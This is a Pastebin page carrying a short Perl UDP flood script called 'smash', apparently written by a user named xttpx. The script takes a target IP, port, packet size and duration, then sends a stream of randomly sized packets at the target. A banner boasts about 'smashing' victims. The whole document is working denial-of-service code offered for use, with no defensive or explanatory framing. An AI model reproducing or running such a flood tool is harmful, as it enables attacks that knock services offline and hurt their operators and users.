Advertisement
xttpx

smash

Dec 7th, 2022
1,191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.90 KB | None | 0 0
  1. #!/usr/bin/perl##
  2. # Coded By: xttpx <----
  3. ##
  4.  
  5. use Socket;
  6. use strict;
  7.  
  8. my ($ip,$port,$size,$time) = @ARGV;
  9.  
  10. my ($iaddr,$endtime,$psize,$pport);
  11.  
  12. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  13. $endtime = time() + ($time ? $time : 100);
  14. socket(flood, PF_INET, SOCK_DGRAM, 17);
  15.  
  16. print "port " . ($port ? $port : "random") . " " .
  17.   ($size ? "$size-byte" : "") . "                                                          
  18.  
  19.  +-+-+-+-+-+-+-+-+-+
  20.  | | |x|t|t|p|x| | |
  21.  +-+-+-+-+ +-+-+-+-+
  22.  Get Hit By SMASH+++++++++++++++++            
  23.   //IP IS NULLED\\         
  24. " .
  25.   ($time ? "" : "") . "\n";
  26. print "To Stop Smashing Their Shit Press Ctrl-C\n"
  27. unless $time;
  28.  
  29. for (;time() <= $endtime;) {
  30.   $psize = $size ? $size : int(rand(1500000-64)+64) ;
  31.   $pport = $port ? $port : int(rand(1500000))+1;
  32.  
  33.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement